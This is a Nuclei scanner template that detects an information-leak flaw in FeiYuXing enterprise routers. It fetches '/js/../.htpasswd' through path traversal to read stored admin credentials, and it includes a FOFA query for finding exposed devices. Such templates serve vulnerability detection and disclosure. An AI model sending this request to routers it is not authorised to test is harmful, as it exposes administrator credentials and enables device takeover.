id: feiyuxing-ent-router-infoleak

info:
  name: FeiYuXing Enterprise Router - Information Leakage
  author: adeljck
  severity: high
  description: |
    The FeiYuXing Enterprise Router Information Leakage Vulnerability is a critical flaw that allows unauthorized attackers to retrieve sensitive configuration details from the router.
  impact: |
    Exploiting this vulnerability enables an attacker to gain access to stored credentials, including administrative usernames and passwords, which can lead to a complete compromise of the device.
  remediation: |
    Update the frimware to the latest version. If your device is out of service.add path /js/../.htpasswd to your WAF.
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="js/select2css.js"
  tags: feiyuxing,info-leak,disclosure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/js/../.htpasswd"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/plain")'
          - 'contains_all(body, "$", ":")'
          - 'contains(server, "Router Web")'
        condition: and
# digest: 490a0046304402206ab5669df7c7fa8c70170fde9a787e8c098a18c456269dfd024a407a24b7ce2402206061a80576481cb57d3af98e6532e82b45002e922e7984aad77fb8efe3221408:922c64590222798bb761d5b6d8e72950